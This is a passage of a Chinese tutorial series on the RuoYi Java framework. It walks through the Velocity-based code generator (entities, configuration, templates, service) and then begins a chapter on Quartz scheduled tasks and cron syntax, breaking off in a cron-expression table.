    /** 树父编码字段 */
    private String treeParentCode;

    /** 树名称字段 */
    private String treeName;

    /** 上级菜单ID字段 */
    private String parentMenuId;

    /** 上级菜单名称字段 */
    private String parentMenuName;

    // Getter 和 Setter 省略...

    public boolean isSub() {
        return isSub(this.tplCategory);
    }

    public static boolean isSub(String tplCategory) {
        return tplCategory != null && StringUtils.equals(GenConstants.TPL_SUB, tplCategory);
    }

    public boolean isTree() {
        return isTree(this.tplCategory);
    }

    public static boolean isTree(String tplCategory) {
        return tplCategory != null && StringUtils.equals(GenConstants.TPL_TREE, tplCategory);
    }

    public boolean isCrud() {
        return isCrud(this.tplCategory);
    }

    public static boolean isCrud(String tplCategory) {
        return tplCategory != null && StringUtils.equals(GenConstants.TPL_CRUD, tplCategory);
    }

    public String getPermissionPrefix() {
        return getModuleName() + ":" + getBusinessName();
    }
}

生成列实体类

// src/main/java/com/ruoyi/generator/domain/GenTableColumn.java
package com.ruoyi.generator.domain;

import javax.validation.constraints.NotBlank;
import com.ruoyi.common.core.domain.BaseEntity;
import com.ruoyi.common.utils.StringUtils;

/**
 * 代码生成业务字段表 gen_table_column
 * 
 * @author ruoyi
 */
public class GenTableColumn extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 编号 */
    private Long columnId;

    /** 归属表编号 */
    private Long tableId;

    /** 列名称 */
    private String columnName;

    /** 列描述 */
    private String columnComment;

    /** 列类型 */
    private String columnType;

    /** JAVA类型 */
    private String javaType;

    /** JAVA字段名 */
    @NotBlank(message = "Java属性不能为空")
    private String javaField;

    /** 是否主键（1是） */
    private String isPk;

    /** 是否自增（1是） */
    private String isIncrement;

    /** 是否必填（1是） */
    private String isRequired;

    /** 是否为插入字段（1是） */
    private String isInsert;

    /** 是否编辑字段（1是） */
    private String isEdit;

    /** 是否列表字段（1是） */
    private String isList;

    /** 是否查询字段（1是） */
    private String isQuery;

    /** 查询方式（EQ等于、NE不等于、GT大于、LT小于、LIKE模糊、BETWEEN范围） */
    private String queryType;

    /** 显示类型（input文本框、textarea文本域、select下拉框、checkbox复选框、radio单选框、datetime日期控件、upload上传控件、editor富文本控件） */
    private String htmlType;

    /** 字典类型 */
    private String dictType;

    /** 排序 */
    private Integer sort;

    // Getter 和 Setter 省略...

    public boolean isPk() {
        return isPk(this.isPk);
    }

    public boolean isPk(String isPk) {
        return isPk != null && StringUtils.equals("1", isPk);
    }

    public boolean isIncrement() {
        return isIncrement(this.isIncrement);
    }

    public boolean isIncrement(String isIncrement) {
        return isIncrement != null && StringUtils.equals("1", isIncrement);
    }

    public boolean isRequired() {
        return isRequired(this.isRequired);
    }

    public boolean isRequired(String isRequired) {
        return isRequired != null && StringUtils.equals("1", isRequired);
    }

    public boolean isInsert() {
        return isInsert(this.isInsert);
    }

    public boolean isInsert(String isInsert) {
        return isInsert != null && StringUtils.equals("1", isInsert);
    }

    public boolean isEdit() {
        return isEdit(this.isEdit);
    }

    public boolean isEdit(String isEdit) {
        return isEdit != null && StringUtils.equals("1", isEdit);
    }

    public boolean isList() {
        return isList(this.isList);
    }

    public boolean isList(String isList) {
        return isList != null && StringUtils.equals("1", isList);
    }

    public boolean isQuery() {
        return isQuery(this.isQuery);
    }

    public boolean isQuery(String isQuery) {
        return isQuery != null && StringUtils.equals("1", isQuery);
    }

    public boolean isSuperColumn() {
        return isSuperColumn(this.javaField);
    }

    public static boolean isSuperColumn(String javaField) {
        return StringUtils.equalsAnyIgnoreCase(javaField,
                // BaseEntity
                "createBy", "createTime", "updateBy", "updateTime", "remark",
                // TreeEntity
                "parentName", "parentId", "orderNum", "ancestors");
    }

    public boolean isUsableColumn() {
        return isUsableColumn(javaField);
    }

    public static boolean isUsableColumn(String javaField) {
        // isSuperColumn()中的名单用于避免生成多余Domain属性，若下列属性在BaseEntity/TreeEntity中已存在，
        // 则不需要在此处重复生成，因此排除
        return StringUtils.equalsAnyIgnoreCase(javaField, "parentId", "orderNum", "remark");
    }

    public String readConverterExp() {
        String remarks = StringUtils.substringBetween(this.columnComment, "（", "）");
        StringBuffer sb = new StringBuffer();
        if (StringUtils.isNotEmpty(remarks)) {
            for (String value : remarks.split(" ")) {
                if (StringUtils.isNotEmpty(value)) {
                    Object startStr = value.subSequence(0, 1);
                    String endStr = value.substring(1);
                    sb.append("").append(startStr).append("=").append(endStr).append(",");
                }
            }
            return sb.deleteCharAt(sb.length() - 1).toString();
        } else {
            return this.columnComment;
        }
    }
}

Velocity 模板引擎

模板配置

// src/main/java/com/ruoyi/generator/config/GenConfig.java
package com.ruoyi.generator.config;

import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.context.annotation.PropertySource;
import org.springframework.stereotype.Component;

/**
 * 读取代码生成相关配置
 * 
 * @author ruoyi
 */
@Component
@ConfigurationProperties(prefix = "gen")
@PropertySource(value = { "classpath:generator.yml" })
public class GenConfig {
    /** 作者 */
    public static String author;

    /** 生成包路径 */
    public static String packageName;

    /** 自动去除表前缀，默认是true */
    public static boolean autoRemovePre;

    /** 表前缀(类名不会包含表前缀) */
    public static String tablePrefix;

    /** 是否允许生成文件覆盖到本地（自定义路径），默认是false */
    public static boolean allowOverwrite;

    public static String getAuthor() {
        return author;
    }

    public void setAuthor(String author) {
        GenConfig.author = author;
    }

    public static String getPackageName() {
        return packageName;
    }

    public void setPackageName(String packageName) {
        GenConfig.packageName = packageName;
    }

    public static boolean getAutoRemovePre() {
        return autoRemovePre;
    }

    public void setAutoRemovePre(boolean autoRemovePre) {
        GenConfig.autoRemovePre = autoRemovePre;
    }

    public static String getTablePrefix() {
        return tablePrefix;
    }

    public void setTablePrefix(String tablePrefix) {
        GenConfig.tablePrefix = tablePrefix;
    }

    public static boolean isAllowOverwrite() {
        return allowOverwrite;
    }

    public void setAllowOverwrite(boolean allowOverwrite) {
        GenConfig.allowOverwrite = allowOverwrite;
    }
}

generator.yml 配置

# generator.yml
gen:
  # 作者
  author: ruoyi
  # 默认生成包路径 system 需改成自己的模块名称 如 system monitor tool
  packageName: com.ruoyi.system
  # 自动去除表前缀，默认是true
  autoRemovePre: true
  # 表前缀(类名不会包含表前缀)
  tablePrefix: sys_
  # 是否允许生成文件覆盖到本地（自定义路径），默认是false
  allowOverwrite: false

模板文件

RuoYi 的代码模板位于 src/main/resources/vm 目录：

vm/
├── java/
│   ├── controller.java.vm      # Controller 模板
│   ├── domain.java.vm          # Domain 实体模板
│   ├── mapper.java.vm          # Mapper 接口模板
│   └── service.java.vm         # Service 接口模板
│   └── serviceImpl.java.vm     # Service 实现模板
├── xml/
│   └── mapper.xml.vm           # Mapper XML 模板
├── html/
│   ├── add.html.vm             # 新增页面模板
│   ├── edit.html.vm            # 编辑页面模板
│   └── list.html.vm            # 列表页面模板
└── sql/
    └── menu.sql.vm             # 菜单 SQL 模板

Controller 模板示例

## src/main/resources/vm/java/controller.java.vm
package ${packageName}.controller;

import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.*;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import ${packageName}.domain.${ClassName};
import ${packageName}.service.I${ClassName}Service;

/**
 * ${functionName}Controller
 * 
 * @author ${author}
 * @date ${datetime}
 */
@Controller
@RequestMapping("/${moduleName}/${businessName}")
public class ${ClassName}Controller extends BaseController {
    private String prefix = "${moduleName}/${businessName}";

    @Autowired
    private I${ClassName}Service ${className}Service;

    @RequiresPermissions("${permissionPrefix}:view")
    @GetMapping()
    public String ${businessName}() {
        return prefix + "/${businessName}";
    }

    /**
     * 查询${functionName}列表
     */
    @RequiresPermissions("${permissionPrefix}:list")
    @PostMapping("/list")
    @ResponseBody
    public TableDataInfo list(${ClassName} ${className}) {
        startPage();
        List<${ClassName}> list = ${className}Service.select${ClassName}List(${className});
        return getDataTable(list);
    }

    /**
     * 导出${functionName}列表
     */
    @RequiresPermissions("${permissionPrefix}:export")
    @Log(title = "${functionName}", businessType = BusinessType.EXPORT)
    @PostMapping("/export")
    @ResponseBody
    public AjaxResult export(HttpServletResponse response, ${ClassName} ${className}) {
        List<${ClassName}> list = ${className}Service.select${ClassName}List(${className});
        ExcelUtil<${ClassName}> util = new ExcelUtil<${ClassName}>(${ClassName}.class);
        return util.exportExcel(response, list, "${functionName}数据");
    }

    /**
     * 新增${functionName}
     */
    @GetMapping("/add")
    public String add() {
        return prefix + "/add";
    }

    /**
     * 新增保存${functionName}
     */
    @RequiresPermissions("${permissionPrefix}:add")
    @Log(title = "${functionName}", businessType = BusinessType.INSERT)
    @PostMapping("/add")
    @ResponseBody
    public AjaxResult addSave(${ClassName} ${className}) {
        return toAjax(${className}Service.insert${ClassName}(${className}));
    }

    /**
     * 修改${functionName}
     */
    @GetMapping("/edit/{${pkColumn.javaField}}")
    public String edit(@PathVariable("${pkColumn.javaField}") ${pkColumn.javaType} ${pkColumn.javaField}, ModelMap mmap) {
        ${ClassName} ${className} = ${className}Service.select${ClassName}ById(${pkColumn.javaField});
        mmap.put("${className}", ${className});
        return prefix + "/edit";
    }

    /**
     * 修改保存${functionName}
     */
    @RequiresPermissions("${permissionPrefix}:edit")
    @Log(title = "${functionName}", businessType = BusinessType.UPDATE)
    @PostMapping("/edit")
    @ResponseBody
    public AjaxResult editSave(${ClassName} ${className}) {
        return toAjax(${className}Service.update${ClassName}(${className}));
    }

    /**
     * 删除${functionName}
     */
    @RequiresPermissions("${permissionPrefix}:remove")
    @Log(title = "${functionName}", businessType = BusinessType.DELETE)
    @PostMapping("/remove")
    @ResponseBody
    public AjaxResult remove(String ids) {
        return toAjax(${className}Service.delete${ClassName}ByIds(ids));
    }
}

Domain 模板示例

## src/main/resources/vm/java/domain.java.vm
package ${packageName}.domain;

#foreach ($import in $importList)
import ${import};
#end
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * ${functionName}对象 ${tableName}
 * 
 * @author ${author}
 * @date ${datetime}
 */
public class ${ClassName} extends BaseEntity {
    private static final long serialVersionUID = 1L;

#foreach ($column in $columns)
#if(!$table.isSuperColumn($column.javaField))
    /** ${column.columnComment} */
#if($column.list)
    @Excel(name = "${column.columnComment}"#if($column.readConverterExp), readConverterExp = "$column.readConverterExp()"#end)
#end
    private $column.javaType $column.javaField;

#end
#end
#foreach ($column in $columns)
#if(!$table.isSuperColumn($column.javaField))
    public void set${column.javaField.capitalize()}($column.javaType $column.javaField) {
        this.$column.javaField = $column.javaField;
    }

    public $column.javaType get${column.javaField.capitalize()}() {
        return $column.javaField;
    }

#end
#end
    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
#foreach ($column in $columns)
            .append("${column.javaField}", get${column.javaField.capitalize()}())
#end
            .toString();
    }
}

代码生成 Service

// src/main/java/com/ruoyi/generator/service/GenTableServiceImpl.java
package com.ruoyi.generator.service;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.StringWriter;
import java.util.*;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import org.apache.commons.io.IOUtils;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.alibaba.fastjson.JSON;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.constant.GenConstants;
import com.ruoyi.common.core.text.CharsetKit;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.generator.domain.GenTable;
import com.ruoyi.generator.domain.GenTableColumn;
import com.ruoyi.generator.mapper.GenTableColumnMapper;
import com.ruoyi.generator.mapper.GenTableMapper;
import com.ruoyi.generator.util.GenUtils;
import com.ruoyi.generator.util.VelocityInitializer;
import com.ruoyi.generator.util.VelocityUtils;

/**
 * 业务 服务层实现
 * 
 * @author ruoyi
 */
@Service
public class GenTableServiceImpl implements IGenTableService {
    private static final Logger log = LoggerFactory.getLogger(GenTableServiceImpl.class);

    @Autowired
    private GenTableMapper genTableMapper;

    @Autowired
    private GenTableColumnMapper genTableColumnMapper;

    /**
     * 获取代码生成信息
     */
    @Override
    public GenTable selectGenTableById(Long tableId) {
        GenTable genTable = genTableMapper.selectGenTableById(tableId);
        setTableFromOptions(genTable);
        return genTable;
    }

    /**
     * 查询业务信息
     */
    @Override
    public List<GenTable> selectGenTableList(GenTable genTable) {
        return genTableMapper.selectGenTableList(genTable);
    }

    /**
     * 查询据库列表
     */
    @Override
    public List<GenTable> selectDbTableList(GenTable genTable) {
        return genTableMapper.selectDbTableList(genTable);
    }

    /**
     * 导入表结构
     */
    @Override
    @Transactional
    public void importGenTable(List<String> tableList) {
        String operName = SecurityUtils.getUsername();
        for (String tableName : tableList) {
            // 查询表信息
            GenTable table = genTableMapper.selectDbTableListByName(tableName);
            // 验证表是否已存在
            if (StringUtils.isNotNull(table)) {
                throw new ServiceException("表 " + tableName + " 已存在");
            }
            // 初始化表信息
            table = genTableMapper.selectDbTableByName(tableName);
            GenUtils.initTable(table, operName);
            int row = genTableMapper.insertGenTable(table);
            if (row > 0) {
                // 保存列信息
                List<GenTableColumn> genTableColumns = genTableColumnMapper.selectDbTableColumnsByName(tableName);
                for (GenTableColumn column : genTableColumns) {
                    GenUtils.initColumnField(column, table);
                    genTableColumnMapper.insertGenTableColumn(column);
                }
            }
        }
    }

    /**
     * 预览代码
     */
    @Override
    public Map<String, String> previewCode(Long tableId) {
        Map<String, String> dataMap = new LinkedHashMap<>();
        // 查询表信息
        GenTable table = genTableMapper.selectGenTableById(tableId);
        List<GenTableColumn> columns = genTableColumnMapper.selectGenTableColumnListByTableId(tableId);
        setPkColumn(table, columns);
        VelocityInitializer.initVelocity();

        VelocityContext context = VelocityUtils.prepareContext(table);

        // 获取模板列表
        List<String> templates = VelocityUtils.getTemplateList(table.getTplCategory());
        for (String template : templates) {
            // 渲染模板
            StringWriter sw = new StringWriter();
            Template tpl = Velocity.getTemplate(template, Constants.UTF8);
            tpl.merge(context, sw);
            dataMap.put(template, sw.toString());
        }
        return dataMap;
    }

    /**
     * 生成代码（下载方式）
     */
    @Override
    public byte[] downloadCode(String tableName) {
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        ZipOutputStream zip = new ZipOutputStream(outputStream);
        generatorCode(tableName, zip, true);
        IOUtils.closeQuietly(zip);
        return outputStream.toByteArray();
    }

    /**
     * 生成代码（自定义路径）
     */
    @Override
    public void generatorCode(String tableName) {
        generatorCode(tableName, null, false);
    }

    /**
     * 查询表信息并生成代码
     */
    private void generatorCode(String tableName, ZipOutputStream zip, boolean download) {
        // 查询表信息
        GenTable table = genTableMapper.selectGenTableByName(tableName);
        List<GenTableColumn> columns = genTableColumnMapper.selectGenTableColumnListByTableId(table.getTableId());
        setPkColumn(table, columns);

        VelocityInitializer.initVelocity();

        VelocityContext context = VelocityUtils.prepareContext(table);

        // 获取模板列表
        List<String> templates = VelocityUtils.getTemplateList(table.getTplCategory());
        for (String template : templates) {
            // 渲染模板
            StringWriter sw = new StringWriter();
            Template tpl = Velocity.getTemplate(template, Constants.UTF8);
            tpl.merge(context, sw);
            try {
                if (download) {
                    // 添加到zip
                    zip.putNextEntry(new ZipEntry(VelocityUtils.getFileName(template, table)));
                    IOUtils.write(sw.toString(), zip, Constants.UTF8);
                    IOUtils.closeQuietly(sw);
                    zip.closeEntry();
                } else {
                    // 写入文件
                    String path = getGenPath(table, template);
                    GenUtils.writeToFile(path, sw.toString());
                }
            } catch (IOException e) {
                log.error("渲染模板失败，表名：" + table.getTableName(), e);
            }
        }
    }

    /**
     * 修改保存参数校验
     */
    @Override
    public void validateEdit(GenTable genTable) {
        if (GenConstants.TPL_TREE.equals(genTable.getTplCategory())) {
            String options = JSON.toJSONString(genTable.getParams());
            TreeTable treeTable = JSON.parseObject(options, TreeTable.class);
            if (StringUtils.isEmpty(treeTable.getTreeCode())) {
                throw new ServiceException("树编码字段不能为空");
            } else if (StringUtils.isEmpty(treeTable.getTreeParentCode())) {
                throw new ServiceException("树父编码字段不能为空");
            } else if (StringUtils.isEmpty(treeTable.getTreeName())) {
                throw new ServiceException("树名称字段不能为空");
            }
        } else if (GenConstants.TPL_SUB.equals(genTable.getTplCategory())) {
            if (StringUtils.isEmpty(genTable.getSubTableName())) {
                throw new ServiceException("子表名称不能为空");
            } else if (StringUtils.isEmpty(genTable.getSubTableFkName())) {
                throw new ServiceException("子表外键名称不能为空");
            }
        }
    }
}

Velocity 工具类

// src/main/java/com/ruoyi/generator/util/VelocityUtils.java
package com.ruoyi.generator.util;

import java.util.*;
import org.apache.velocity.VelocityContext;
import com.alibaba.fastjson.JSONObject;
import com.ruoyi.common.constant.GenConstants;
import com.ruoyi.common.utils.DateUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.generator.domain.GenTable;
import com.ruoyi.generator.domain.GenTableColumn;

/**
 * 模板工具类
 * 
 * @author ruoyi
 */
public class VelocityUtils {
    /** 项目空间路径 */
    private static final String PROJECT_PATH = "main/java";

    /** mybatis空间路径 */
    private static final String MYBATIS_PATH = "main/resources/mapper";

    /** html空间路径 */
    private static final String TEMPLATES_PATH = "main/resources/templates";

    /**
     * 设置模板变量信息
     */
    public static VelocityContext prepareContext(GenTable genTable) {
        String moduleName = genTable.getModuleName();
        String businessName = genTable.getBusinessName();
        String packageName = genTable.getPackageName();
        String tplCategory = genTable.getTplCategory();
        String functionName = genTable.getFunctionName();

        VelocityContext velocityContext = new VelocityContext();
        velocityContext.put("tplCategory", genTable.getTplCategory());
        velocityContext.put("tableName", genTable.getTableName());
        velocityContext.put("functionName", StringUtils.isNotEmpty(functionName) ? functionName : "【请填写功能名称】");
        velocityContext.put("ClassName", genTable.getClassName());
        velocityContext.put("className", StringUtils.uncapitalize(genTable.getClassName()));
        velocityContext.put("moduleName", genTable.getModuleName());
        velocityContext.put("businessName", genTable.getBusinessName());
        velocityContext.put("basePackage", getPackagePrefix(packageName));
        velocityContext.put("packageName", packageName);
        velocityContext.put("author", genTable.getFunctionAuthor());
        velocityContext.put("datetime", DateUtils.getDate());
        velocityContext.put("pkColumn", genTable.getPkColumn());
        velocityContext.put("importList", getImportList(genTable.getColumns()));
        velocityContext.put("permissionPrefix", getPermissionPrefix(moduleName, businessName));
        velocityContext.put("columns", genTable.getColumns());
        velocityContext.put("table", genTable);

        if (GenConstants.TPL_TREE.equals(tplCategory)) {
            setTreeVelocityContext(velocityContext, genTable);
        }

        if (GenConstants.TPL_SUB.equals(tplCategory)) {
            setSubVelocityContext(velocityContext, genTable);
        }

        return velocityContext;
    }

    /**
     * 获取模板信息
     */
    public static List<String> getTemplateList(String tplCategory) {
        List<String> templates = new ArrayList<String>();
        templates.add("vm/java/domain.java.vm");
        templates.add("vm/java/mapper.java.vm");
        templates.add("vm/java/service.java.vm");
        templates.add("vm/java/serviceImpl.java.vm");
        templates.add("vm/java/controller.java.vm");
        templates.add("vm/xml/mapper.xml.vm");
        templates.add("vm/html/list.html.vm");
        templates.add("vm/html/add.html.vm");
        templates.add("vm/html/edit.html.vm");
        templates.add("vm/sql/menu.sql.vm");
        return templates;
    }

    /**
     * 获取文件名
     */
    public static String getFileName(String template, GenTable genTable) {
        // 文件名称
        String fileName = "";
        // 包路径
        String packageName = genTable.getPackageName();
        // 模块名
        String moduleName = genTable.getModuleName();
        // 大写类名
        String className = genTable.getClassName();
        // 业务名称
        String businessName = genTable.getBusinessName();

        String javaPath = PROJECT_PATH + "/" + StringUtils.replace(packageName, ".", "/");
        String mybatisPath = MYBATIS_PATH + "/" + moduleName;
        String htmlPath = TEMPLATES_PATH + "/" + moduleName + "/" + businessName;

        if (template.contains("domain.java.vm")) {
            fileName = StringUtils.format("{}/domain/{}.java", javaPath, className);
        } else if (template.contains("mapper.java.vm")) {
            fileName = StringUtils.format("{}/mapper/{}Mapper.java", javaPath, className);
        } else if (template.contains("service.java.vm")) {
            fileName = StringUtils.format("{}/service/I{}Service.java", javaPath, className);
        } else if (template.contains("serviceImpl.java.vm")) {
            fileName = StringUtils.format("{}/service/impl/{}ServiceImpl.java", javaPath, className);
        } else if (template.contains("controller.java.vm")) {
            fileName = StringUtils.format("{}/controller/{}Controller.java", javaPath, className);
        } else if (template.contains("mapper.xml.vm")) {
            fileName = StringUtils.format("{}/{}Mapper.xml", mybatisPath, className);
        } else if (template.contains("list.html.vm")) {
            fileName = StringUtils.format("{}/{}.html", htmlPath, businessName);
        } else if (template.contains("add.html.vm")) {
            fileName = StringUtils.format("{}/add.html", htmlPath);
        } else if (template.contains("edit.html.vm")) {
            fileName = StringUtils.format("{}/edit.html", htmlPath);
        } else if (template.contains("menu.sql.vm")) {
            fileName = businessName + "Menu.sql";
        }
        return fileName;
    }

    /**
     * 获取权限前缀
     */
    public static String getPermissionPrefix(String moduleName, String businessName) {
        return StringUtils.format("{}:{}", moduleName, businessName);
    }
}

复习卡片

// 代码生成核心流程
// 1. 导入表结构
GenTable table = genTableMapper.selectDbTableByName(tableName);
GenUtils.initTable(table, operName);
genTableMapper.insertGenTable(table);

// 2. 初始化 Velocity
VelocityInitializer.initVelocity();

// 3. 准备模板上下文
VelocityContext context = VelocityUtils.prepareContext(table);

// 4. 渲染模板
Template tpl = Velocity.getTemplate(template, Constants.UTF8);
tpl.merge(context, sw);

// 5. 生成文件
zip.putNextEntry(new ZipEntry(fileName));
IOUtils.write(sw.toString(), zip, Constants.UTF8);

类名	职责
`GenTable`	生成表实体
`GenTableColumn`	生成列实体
`GenConfig`	代码生成配置
`VelocityUtils`	Velocity 工具类
`GenUtils`	代码生成工具类
`IGenTableService`	生成表服务接口

模板类型	说明
crud	单表增删改查
tree	树表（带层级）
sub	主子表（一对多）

[!TIP] 下一步：阶段十二：系统监控

在阶段十二中，我们将学习系统监控功能，包括服务监控、缓存监控和在线用户管理。

RuoYi 阶段十：定时任务

Mon, 07 Sep 2026 12:00:00 GMT

[!NOTE] 本文是 RuoYi 学习路线的阶段十，聚焦定时任务。学完本篇你应该能：

理解 Quartz 定时任务的工作原理

掌握 Cron 表达式的语法

知道如何创建和管理定时任务

前端视角：定时任务像什么？

RuoYi 定时任务	前端类比
`SysJob` 任务	setInterval / setTimeout
Cron 表达式	crontab 语法
任务调度	任务队列 (Queue)
任务日志	console.log 记录
暂停/恢复	clearTimeout / setInterval

Quartz 简介

Quartz 是一个功能强大的任务调度框架，支持：

持久化：任务信息存储在数据库中，重启后自动恢复
集群支持：多个节点协同执行任务
灵活的触发器：Cron 表达式、简单触发器
任务监听：执行前后监听

核心组件

组件	说明
Scheduler	任务调度器
Job	任务接口
JobDetail	任务详情
Trigger	触发器
CronTrigger	Cron 表达式触发器

任务实体类

// src/main/java/com/ruoyi/quartz/domain/SysJob.java
package com.ruoyi.quartz.domain;

import java.io.Serializable;
import java.util.Date;
import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.constant.ScheduleConstants;
import com.ruoyi.common.core.domain.BaseEntity;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.quartz.util.CronUtils;

/**
 * 定时任务调度表 sys_job
 * 
 * @author ruoyi
 */
public class SysJob extends BaseEntity implements Serializable {
    private static final long serialVersionUID = 1L;

    /** 任务ID */
    @Excel(name = "任务序号", cellType = ColumnType.NUMERIC)
    private Long jobId;

    /** 任务名称 */
    @Excel(name = "任务名称")
    private String jobName;

    /** 任务组名 */
    @Excel(name = "任务组名")
    private String jobGroup;

    /** 调用目标字符串 */
    @Excel(name = "调用目标字符串")
    private String invokeTarget;

    /** cron执行表达式 */
    @Excel(name = "cron执行表达式")
    private String cronExpression;

    /** cron计划策略 */
    @Excel(name = "cron计划策略", readConverterExp = "0=立即执行,1=执行一次,2=放弃执行")
    private String misfirePolicy = ScheduleConstants.MISFIRE_DEFAULT;

    /** 是否并发执行（0允许 1禁止） */
    @Excel(name = "并发执行", readConverterExp = "0=允许,1=禁止")
    private String concurrent;

    /** 任务状态（0正常 1暂停） */
    @Excel(name = "任务状态", readConverterExp = "0=正常,1=暂停")
    private String status;

    /** 备注 */
    private String remark;

    public Long getJobId() {
        return jobId;
    }

    public void setJobId(Long jobId) {
        this.jobId = jobId;
    }

    @NotBlank(message = "任务名称不能为空")
    @Size(min = 0, max = 64, message = "任务名称不能超过64个字符")
    public String getJobName() {
        return jobName;
    }

    public void setJobName(String jobName) {
        this.jobName = jobName;
    }

    public String getJobGroup() {
        return jobGroup;
    }

    public void setJobGroup(String jobGroup) {
        this.jobGroup = jobGroup;
    }

    @NotBlank(message = "调用目标字符串不能为空")
    @Size(min = 0, max = 500, message = "调用目标字符串长度不能超过500个字符")
    public String getInvokeTarget() {
        return invokeTarget;
    }

    public void setInvokeTarget(String invokeTarget) {
        this.invokeTarget = invokeTarget;
    }

    @NotBlank(message = "Cron执行表达式不能为空")
    @Size(min = 0, max = 255, message = "Cron执行表达式长度不能超过255个字符")
    public String getCronExpression() {
        return cronExpression;
    }

    public void setCronExpression(String cronExpression) {
        this.cronExpression = cronExpression;
    }

    public Date getNextValidTime() {
        if (StringUtils.isNotEmpty(cronExpression)) {
            return CronUtils.getNextExecution(cronExpression);
        }
        return null;
    }

    public String getMisfirePolicy() {
        return misfirePolicy;
    }

    public void setMisfirePolicy(String misfirePolicy) {
        this.misfirePolicy = misfirePolicy;
    }

    public String getConcurrent() {
        return concurrent;
    }

    public void setConcurrent(String concurrent) {
        this.concurrent = concurrent;
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append("jobId", getJobId())
            .append("jobName", getJobName())
            .append("jobGroup", getJobGroup())
            .append("cronExpression", getCronExpression())
            .append("nextValidTime", getNextValidTime())
            .append("misfirePolicy", getMisfirePolicy())
            .append("concurrent", getConcurrent())
            .append("status", getStatus())
            .append("createBy", getCreateBy())
            .append("createTime", getCreateTime())
            .append("updateBy", getUpdateBy())
            .append("updateTime", getUpdateTime())
            .append("remark", getRemark())
            .toString();
    }
}

数据库表结构

任务表

CREATE TABLE sys_job (
  job_id            BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT '任务ID',
  job_name          VARCHAR(64)     NOT NULL                   COMMENT '任务名称',
  job_group         VARCHAR(64)     NOT NULL                   COMMENT '任务组名',
  invoke_target     VARCHAR(500)    NOT NULL                   COMMENT '调用目标字符串',
  cron_expression   VARCHAR(255)    DEFAULT ''                 COMMENT 'cron执行表达式',
  misfire_policy    VARCHAR(20)     DEFAULT '3'                COMMENT '计划执行错误策略',
  concurrent        CHAR(1)         DEFAULT '1'                COMMENT '是否并发执行（0允许 1禁止）',
  status            CHAR(1)         DEFAULT '0'                COMMENT '状态（0正常 1暂停）',
  create_by         VARCHAR(64)     DEFAULT ''                 COMMENT '创建者',
  create_time       DATETIME                                   COMMENT '创建时间',
  update_by         VARCHAR(64)     DEFAULT ''                 COMMENT '更新者',
  update_time       DATETIME                                   COMMENT '更新时间',
  remark            VARCHAR(500)    DEFAULT ''                 COMMENT '备注信息',
  PRIMARY KEY (job_id, job_name, job_group)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = '定时任务调度表';

任务日志表

CREATE TABLE sys_job_log (
  job_log_id        BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT '任务日志ID',
  job_name          VARCHAR(64)     NOT NULL                   COMMENT '任务名称',
  job_group         VARCHAR(64)     NOT NULL                   COMMENT '任务组名',
  invoke_target     VARCHAR(500)    NOT NULL                   COMMENT '调用目标字符串',
  job_message       VARCHAR(500)    DEFAULT NULL               COMMENT '日志信息',
  status            CHAR(1)         DEFAULT '0'                COMMENT '执行状态（0正常 1失败）',
  exception_info    VARCHAR(2000)   DEFAULT ''                 COMMENT '异常信息',
  create_time       DATETIME                                   COMMENT '创建时间',
  PRIMARY KEY (job_log_id)
) ENGINE=InnoDB COMMENT = '定时任务调度日志表';

Cron 表达式

语法结构

┌───────────── 秒 (0 - 59)
│ ┌───────────── 分 (0 - 59)
│ │ ┌───────────── 小时 (0 - 23)
│ │ │ ┌───────────── 日期 (1 - 31)
│ │ │ │ ┌───────────── 月份 (1 - 12)
│ │ │ │ │ ┌───────────── 星期 (0 - 7, 0和7都表示周日)
│ │ │ │ │ │
* * * * * *

特殊字符

字符	说明	示例
`*`	所有值	`* * * * * ?` 每秒执行
`?`	不指定值（用于日期和星期）	`0 0 12 * * ?` 每天12点
`-`	范围	`0 0-5 12 * * ?` 12点0分到5分
`,`	列表	`0 0,15,30 12 * * ?` 12点的0分、15分、30分
`/`	增量	`0 0/5 12 * * ?` 12点开始每5分钟
`L`	最后	`0 0 12 L * ?` 每月最后一天12点
`W`	工作日	`0 0 12 ? * 2-6` 工作日12点
`#`	第几个星期几	`0 0 12 ? * 6#3` 第3个星期五12点

常用表达式

表达式	说明
`0 0 2 * * ?`	每天凌晨2点执行
